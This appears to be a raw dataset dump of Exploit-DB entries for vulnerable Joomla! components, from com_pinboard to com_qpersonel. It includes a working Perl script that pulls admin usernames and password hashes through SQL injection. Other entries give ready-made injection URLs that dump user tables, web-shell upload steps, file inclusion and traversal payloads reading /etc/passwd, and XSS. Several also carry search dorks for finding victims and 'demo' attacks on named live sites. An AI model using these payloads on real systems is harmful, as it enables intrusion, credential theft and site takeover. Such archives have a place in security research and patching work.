deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9017
Description: Joomla! Component com_pinboard - 'task' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-25
Author: Stack

Exploit:
#!/usr/bin/perl -w
# Joomla Component (com_pinboard) Remote SQL Injection
########################################
#[*] By : Stack
#POc
#http://site/index.php?option=com_pinboard&Itemid=35&action=showpic&task=-48%20union%20select%201,2,3,4,5,6,username,8,9,10%20from%20jos_users--
#http://site/index.php?option=com_pinboard&Itemid=35&action=showpic&task=-48%20union%20select%201,2,3,4,5,6,password,8,9,10%20from%20jos_users--
#Demo
#http://munimartin.at/index.php?option=com_pinboard&Itemid=35&action=showpic&task=-48%20union%20select%201,2,3,4,5,6,username,8,9,10%20from%20jos_users--
#http://munimartin.at/index.php?option=com_pinboard&Itemid=35&action=showpic&task=-48%20union%20select%201,2,3,4,5,6,password,8,9,10%20from%20jos_users--
########################################
system("color 02");
print "\t\t############################################################\n\n";
print "\t\t#       Joomla Component (com_pinboard) Remote SQL Injection    #\n\n";
print "\t\t#                             by Stack                        #\n\n";
print "\t\t############################################################\n\n";
use LWP::UserAgent;
die "Example: perl $0 http://victim.com/path/\n" unless @ARGV;
system("color f");
$user="username";
$pass="password";
$tab="jos_users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $ARGV[0] . "/index.php?option=com_pinboard&Itemid=35&action=showpic&task=-48+union+select+1,2,3,4,5,6,concat(CHAR(60,117,115,101,114,62),".$user.",CHAR(60,117,115,101,114,62),CHAR(60,112,97,115,115,62),".$pass.",CHAR(60,112,97,115,115,62)),8,9,10+from+".$tab."--";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
if ($answer =~ /<user>(.*?)<user>/){
        print "\nBrought to you by v4-team.com...\n";
        print "\n[+] Admin User : $1";
}
if ($answer =~/<pass>(.*?)<pass>/){print "\n[+] Admin Hash : $1\n\n";
print "\t\t#   Exploit has ben aported user and password hash   #\n\n";}
else{print "\n[-] Exploit Failed...\n";}

# milw0rm.com [2009-06-25]
Exploit-DB #9011
Description: Joomla! Component com_pinboard - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-06-24
Author: ViRuSMaN

Exploit:
##############################################################
|
|                                   Joomla Component [com_pinboard] Remote File Upload Vulnerability
|
|    Author : ViRuSMaN
|
|    Contact : v-.m@live.com
|
|    Home : Islam-Attack.CoM , HackTeach.OrG
|
##############################################################
|
| Dork inurl:com_pinboard
|
| Exploite :
|
| 1-target.com/[path]/components/com_pinboard/popup/popup.php?option=showupload
|
|    or
|
| 2-target.com/[path]/index2.php?option=com_pinboard&Itemid=117&action=popup%22&action=popup&task=uploadForm
|
| [#] click on the photo in Top Of Left
|
| [#] upload your shell shell.php.jpg  &  Confirmer SVP
|
| [#] Pwd Your Shell
|  
|      target.com/[path]/images/stories/pinboard/picture/[name your shell].php.jpg
|
|      Or
|
|      target.com/[path]/strona/components/com_pinboard/pictures/[name your shell].php.jpg  
|
##############################################################
|Greets : All members of islam-attack.com , hackteach.org , s3curi7y.com & All Muslim's  
##############################################################

# milw0rm.com [2009-06-24]
Exploit-DB #15814
Description: Joomla! Component com_ponygallery - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-12-23
Author: AtT4CKxT3rR0r1ST

Exploit:
Joomla Component com_ponygallery Multiple Remote File Include
==============================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Script         : http://www.joomlaos.de/option,com_remository/Itemid,41/func,download/id,2874/chk,9056372cb7b40c9809ba7070ffde09f3/no_html,1/fname,PONYGALLERY_ML_2_5_1_INSTALL.zip.html
.:. Dork           : inurl:"com_ponygallery"

####################################################################

===[ Exploit ]===

www.site.com/components/com_ponygallery/admin.ponygallery.html.php?mosConfig_absolute_path=[shell.txt?]
www.site.com/components/com_ponygallery/admin.ponygallery.php?mosConfig_absolute_path=[shell.txt?]

####################################################################
Exploit-DB #18741
Description: Joomla! Component com_ponygallery - SQL Injection
Type: webapps
Platform: php
Date: 2012-04-15
Author: xDarkSton3x

Exploit:
##################################################
# Exploit Title: joomla component (com_ponygallery) SQL injection Vulnerability
# Download : http://www.adyawinsa.com/index.php/remository?func=fileinfo&id=2
# Date: 11/04/2012
# Author: xDarkSton3x
# E-mail : xdarkston3x@msn.com
# Category: webapps
# Google dork: inurl:"com_ponygallery"


##################################################

[~]Exploit/p0c :
http://www.site.com/index.php?option=com_ponygallery&Itemid=[sqli]

Greetz [ Rs4 - B4nz0k - FailRoot - FailSoft - W4rn1ng] - [ Malandrines Team  -  DiosdelaRed -  RemoteExecution ] [ Dedalo - Maztor ]
Exploit-DB #8905
Description: Joomla! Component com_portafolio - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-08
Author: Chip d3 bi0s

Exploit:
----------------------------------------------------------------------
Joomla Component com_portafolio (cid) SQL injection Vulnerability
----------------------------------------------------------------------

 ###################################################
 [+] Author        :  Chip D3 Bi0s
 [+] Email         :  chipdebios[alt+64]gmail.com
 [+] Vulnerability :  SQL injection
 ###################################################

________________________________________________________

Example:

 http://localHost/path/index.php?option=com_portafolio&task=viewcat&cid=<sql Code>

 <Sql Code>:
 -null+union+select+1,2,3,4,5,6,7,concat(username,0x3a,password),9+jos_users--&Itemid=5
 

Demo Live:
	
In this example, you took the time to rename the table:jos_users
which is normally using joomla

http://www.garboweb.com/index.php?option=com_portafolio&task=viewcat&cid=-null+and+1=2+union+select+1,2,3,4,5,6,7,user(),9--&Itemid=5


+++++++++++++++++++++++++++++++++
[!] Produced in South America
------------------------------------

# milw0rm.com [2009-06-08]
Exploit-DB #10844
Description: Joomla! Component com_portfol - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-31
Author: wlhaan hacker

Exploit:
                          ||          ||   | ||
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,
                  ( :   /    (_)    /           (   .
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> team wlhaan hacker                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


_____________________________________________________
#Joomla Component Portfol SQL Injection Vulnerability#
#####################################################
# [+] Author : wlhaan hacker #
# [+] Email : iit@HoTMaiL.coM #
# [+] Site : www.sa-hacker.com/vb #
# [+]  team wlhaan Hacker     #
# [+] Dork : inurl:"com_portfol""
# [+]
#####################################################

Exploit:

[~] Exploit: /index.php?option=com_portfol&Itemid=814&task=viewcategory&vcatid=[SQL]
[~] Example: /index.php?option=com_portfol&Itemid=814&task=viewcategory&vcatid=-96+union+select+concat(username,char(58),password)KHG+from+jos_users--


########################################


and good luck :D

Thanks to : shooq hacker ..

#####################################################
Exploit-DB #12325
Description: Joomla! Component com_portfolio - Local File Disclosure
Type: webapps
Platform: php
Date: 2010-04-21
Author: Mr.tro0oqy

Exploit:
Joomla compnent com_portfolio Local File Disclosure

author : Mr.tro0oqy from comunity college :(

email : t.4@windowslive.com

greetz:alzomer , Mr.ksoory , R3d-D3vil from palstine .. 

dork :inurl:index.php?option=com_portfolio

exp:

http://server/components/com_portfolio/includes/phpthumb/phpThumb.php?w=800&src=../../../../etc/passwd
Exploit-DB #12057
Description: Joomla! Component com_press - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-04
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_press SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-04-05

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_press SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l.blackhat
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_press&task=view_details&id=[SQL]
 
[~] ExploiT         :
 
-1+UNION+SELECT+1,2,3,4,5,6,7--
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_press&task=view_details&id=-1+UNION+SELECT+1,2,3,4,5,6,7--

  
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~] GreetZ : Exploit-DB TeaM

[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #33217
Description: Joomla! Component com_pressrelease - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-09-10
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/36351/info

The 'com_pressrelease' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_pressrelease&id=null+union+select+1,2,version%28%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
Exploit-DB #11177
Description: Joomla! Component com_prime - Directory Traversal
Type: webapps
Platform: php
Date: 2010-01-17
Author: FL0RiX

Exploit:
@~~=======================================~~@
@~~=Script   : Joomla Component com_prime

@~~=Author   : FL0RiX

@~~=Bug Type : Directory Traversal

@~~=Dork : inurl:"index.php?option=com_prime"

@~~=Note: Kimseye Hakettiginden Fazla Deger Vermeyeceksin.

@~~=======================================~~@

@~~=Vuln.

http:/server/ [Yol] /index.php?option=com_prime&lang=../../../../../../../../../../etc/passwd%00
Exploit-DB #11352
Description: Joomla! Component com_productbook - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-07
Author: snakespc

Exploit:
Joomla Component "com_productbook" SQL Injection Vulnerability
========================================================
 
####################################################################
.:. Author : Snakespc
.:. Home : sec-war.com/cc
.:. Script : Joomla
.:. Bug Type : SQL Injection 
.:. Dork : inurl:"com_productbook"
 
####################################################################
 
===[ Exploit ]===
 
http://server/index.php?option=com_productbook&Itemid=97&func=detail&id=-73+UNION all SELECT 1,2,3,concat(username,0x3a,password,0x3a,email),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58+from+condev.jos_users--
 
####################################################################
Exploit-DB #11691
Description: Joomla! Component com_products - 'intCategoryId' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-11
Author: N2n-Hacker

Exploit:
# Title : Joomla com_products 'intCategoryId' Remote Sql Injection Vulnerability
# Date : 2010-03-11
# Author : N2n-Hacker
# Script:   [Joomla]--
# Founder:  [ N2n-Hacker --  Email:2nd@live.fr<mailto:Email%3A2nd@live.fr>  ]--

==============================================================================
\\\\\\\\\\ Joomla com_about 'intCategoryId' Remote Sql Injection Vulnerability /////////
==============================================================================

***************************************************************************
Dork = inurl:com_products "intCategoryId"
###########################################################################
 ===[ Exploit ]===

=> http://website/index.php?option=com_products&intCategoryId=-222 UnIon SelEct 1,2,group_concat(username,0x3a,password,0x3a,email),4,5,6,7,8+from+jos_users&op=category_details
or
=> http://website/index.php?option=com_products&intCategoryId=-222 UnIon SelEct 1,2,group_concat(username,0x3a,password,0x3a,email),4,5,6,7,8+from+mos_users&op=category_details

###########################################################################
                              My Bad Life
###########################################################################
Exploit-DB #36630
Description: Joomla! Component com_products - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-01-26
Author: the_cyber_nuxbie

Exploit:
source: https://www.securityfocus.com/bid/51674/info

The 'com_products' component for Joomla! is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_products&task=category&catid=[SQL Injection]
http://www.example.com/index.php?option=com_products&id=[SQL Injection]
http://www.example.com/index.php?option=com_products&catid=[SQL Injection]
http://www.example.com/index.php?option=com_products&product_id=[SQL Injection]
http://www.example.com/index.php?option=com_products&task=detail&parent_id=[SQL Injection]
http://www.example.com/index.php?option=com_products&task=edit_productdetail&id_pro=[SQL Injection]
http://www.example.com/index.php?option=com_products&Itemid=53&controller=home&task=displayitem&itemcode=[SQL Injection]
http://www.example.com/index.php?option=com_products&catid=1&Cat[]=[SQL Injection]
http://www.example.com/index.php?option=com_products&cid=[SQL Injection]
http://www.example.com/index.php?option=com_products&view=products&id=19&cat=[SQL Injection]
http://www.example.com/index.php?option=com_products&task=product&pid=[SQL Injection]
http://www.example.com/index.php?option=com_products&Itemid=[SQL Injection]
Exploit-DB #8946
Description: Joomla! Component com_Projectfork 2.0.10 - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-06-15
Author: ByALBAYX

Exploit:
        \\\|///
      \\  - -  //
       (  @ @ )
----oOOo--(_)-oOOo---------------------------
@~~=Author   : ByALBAYX
                              
@~~=Website  : WWW.C4TEAM.ORG
---------------Ooooo-------------------------
               (   )
      ooooO     ) /
      (   )    (_/
       \ (
        \_)
@~~=======================================~~@
@~~=Script   : Joomla Component Com_Projectfork

@~~=S.Site   : http://joomlapraise.com
@~~=======================================~~@

@~~=Vul      :

@~~=http://c4team.org/ [Yol] /index.php?option=com_projectfork&section=  [-LFI-]

@~~=Dork     : inurl:"com_projectfork"

@~~=http://kht.by.ru/Google.txt

@~~=Vs..

@~~=======================================~~@

@~~=:/

# milw0rm.com [2009-06-15]
Exploit-DB #9112
Description: Joomla! Component com_propertylab - 'auction_id' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-10
Author: Chip d3 bi0s

Exploit:
--------------------------------------------------------------------------
Joomla Component com_propertylab (auction_id) SQL injection Vulnerability
--------------------------------------------------------------------------

 ###################################################
 [+] Author        :  Chip D3 Bi0s
 [+] Email         :  chipdebios[alt+64]gmail.com
 [+] Group         :  LatinHackTeam
 [+] Vulnerability :  SQL injection
 ###################################################


Example:

http://localHost/path/index.php?option=com_propertylab&task=propertysearch&type=forsale&minprice=1&start=0&perpage=20&auction_id=26<Sql Code>

<Sql Code>:
+and+1=2+union+select+1,2,3,4,5,6,concat(username,0x3a,password)+from+jos_users
 

Demo Live (1):

http://www.grahampennyauctions.com/index.php?option=com_propertylab&task=propertysearch&type=forsale&minprice=1&start=0&perpage=20&auction_id=26+and+1=2+union+select+1,2,3,4,5,6,concat(username,0x3a,password)+from+jos_users


Thanks for all Str0ke
and you are unbeatable :)

+++++++++++++++++++++++++++++++++
[!] Produced in South America
---------------------------------

# milw0rm.com [2009-07-10]
Exploit-DB #36639
Description: Joomla! Component com_propertylab - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-30
Author: the_cyber_nuxbie

Exploit:
source: https://www.securityfocus.com/bid/51729/info

The 'com_propertylab' component for Joomla! is prone to a remote SQL injection vulnerability.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_propertylab&task=showproperty&id=[SQLinjection]
Exploit-DB #39989
Description: Joomla! Component com_publisher - SQL Injection
Type: webapps
Platform: php
Date: 2016-06-21
Author: s0nk3y

Exploit:
# Exploit Title: Joomla com_publisher component SQL Injection vulnerability
# Exploit Author: s0nk3y
# Date: 21-06-2016
# Software Link: http://extensions.joomla.org/extension/publisher-pro
# Category: webapps
# Version: All
# Tested on: Ubuntu 16.04

1. Description
Publisher Pro is the ultimate publishing platform for Joomla, turning your
site into a professional news portal or a magazine that people want to read!

2. Proof of Concept

Itemid Parameter Vulnerable To SQL Injection

http://server/index.php?option=com_publisher&view=issues&Itemid=[SQLI]&lang=en
Exploit-DB #14350
Description: Joomla! Component com_qcontacts - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-13
Author: _mlk_

Exploit:
# Exploit Title: Joomla Component QContacts (com_qcontacts) - SQL Injection Vulnerability
# Date: 12, July 2010

# Author:  _mlk_
# Software Link: http://bugsec.googlecode.com/files/Joomla_com_qcontacts.zip
# Version: 1.0.4 and previous
# Tested on: all OS

# CVE : 0

# Code : here

Joomla Component QContacts (com_qcontacts) - SQL Injection Vulnerability

#################################################################################################################


   [+] Discovered by : _mlk_ (Renan)

   [+] Teams : c00kies , BugSec , BotecoUnix & c0d3rs

   [+] Homepages :  http://code.google.com/p/bugsec/
                    http://botecounix.com.br/blog/
                    http://c0d3rs.wordpress.com/

   [+] Location : Porto Alegre - RS, Brasil
                         (or Brazil)

#################################################################################################################


      [-] Information

   [?] Script : QContacts

   [?] FAQ : http://www.latenight-coding.com/joomla-addons/qcontacts.html

   [?] Versions Tested: 1.0.4 and previous

   [?] Dork/String :  "index.php?option=com_qcontacts" / "com_qcontacts"

   [?] Date :  12, July 2010


-----------------------------------------------------------------------------------------------------------------


      [*] Parameters vuls :

         Itemid
         id
         catid


-----------------------------------------------------------------------------------------------------------------


      [*] Example :

         http://localhost/index.php?option=com_qcontacts&Itemid=1 [SQL-Inject]
         http://localhost/[PATH]/index.php?option=com_qcontacts&Itemid=1 [SQL-Inject]


-----------------------------------------------------------------------------------------------------------------


      [*] Demo :

         http://<server>/path/index.php?option=com_qcontacts&view=contact&id=1&Itemid=-541
         +union+select+concat(id,0x3a,name,0x3a,username,0x3a,password)+from+cms01_users--


#################################################################################################################


    [~] Agradecimentos :

        Deus , Familiares , Amigos e Tricolor Gaúcho (Grêmio) .
        Em especial "i4k" ( alien \o/ ) .


#################################################################################################################
Exploit-DB #18218
Description: Joomla! Component com_qcontacts 1.0.6 - SQL Injection
Type: webapps
Platform: php
Date: 2011-12-08
Author: Don

Exploit:
############################################################################
# Exploit Title: *QContacts 1.0.6 (Joomla component) SQL injection*
# Google Dork: inurl:"/components/com_qcontacts/"
# Date: Decembar/08/2011
# Author: Don (BalcanCrew & BalcanHack)
# Software Link: *
http://www.latenight-coding.com/joomla-addons/qcontacts.html*
# Version: 1.0.6
# Tested on: Apache
############################################################################

Vulnerability:
This vulnerability affects /index.php

*
/index.php?option=com_qcontacts?=catid=0&filter_order=[SQLi]&filter_order_Dir=&option=com_qcontacts
*


How to fix this vulnerability:
*Filter metacharacters from user input.*

*~Don 2011*
Exploit-DB #10738
Description: Joomla! Component com_qpersonel - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-27
Author: Pyske

Exploit:
< ------------------- header data start ------------------- >

###########################################################################
Joomla Component com_qpersonel Cross Site Scripting Vulnerabilities
###########################################################################

# Author : Pyske


# Greetz : Fl0riX , M-K-A , F0RTS3V3N , 3KB3R ,BARCOD3 and ALL Cyber-Warrior


# Name : com_qpersonel


# Bug Type : Cross Site Scripting


# Infection : Yönetici ve User cookiekleri calinabilir.


# Bug Fix Advice : Zararl&#305; karakterler filtrelenmelidir.


# Demo Vuln. : http://server/j15x/index.php?option=com_qpersonel&task=sirala&personel_sira=[XSS CODE]




#############################################################

< ------------------- header data end of ------------------- >


< -- bug code start -- >


">


< -- bug code end of -- >